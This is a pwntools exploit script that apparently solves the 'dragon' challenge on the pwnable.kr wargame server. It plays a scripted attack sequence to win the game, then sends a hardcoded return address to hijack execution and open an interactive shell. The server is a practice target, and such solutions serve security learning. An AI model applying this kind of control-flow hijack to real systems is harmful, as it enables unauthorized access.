from pwn import *

class Player(object):
    def __init__(self):
        self.r = remote('pwnable.kr', 9004)
    def hero(self, n):
        self.r.recvuntil('Knight\n')
        self.r.sendline(str(n))
    def attack(self, n):
        self.r.recv()
        self.r.sendline(str(n))
    def win(self, sh):
        self.r.recvuntil('As:')
        self.r.sendline(p32(sh))
        self.r.interactive()

player = Player()
player.hero(2)
player.attack(2)

player.hero(1)
player.attack(3)
player.attack(3)
player.attack(2)
player.attack(3)
player.attack(3)
player.attack(2)
player.attack(3)
player.attack(3)
player.attack(2)
player.attack(3)
player.attack(3)
player.attack(2)
player.win(0x08048DBF)
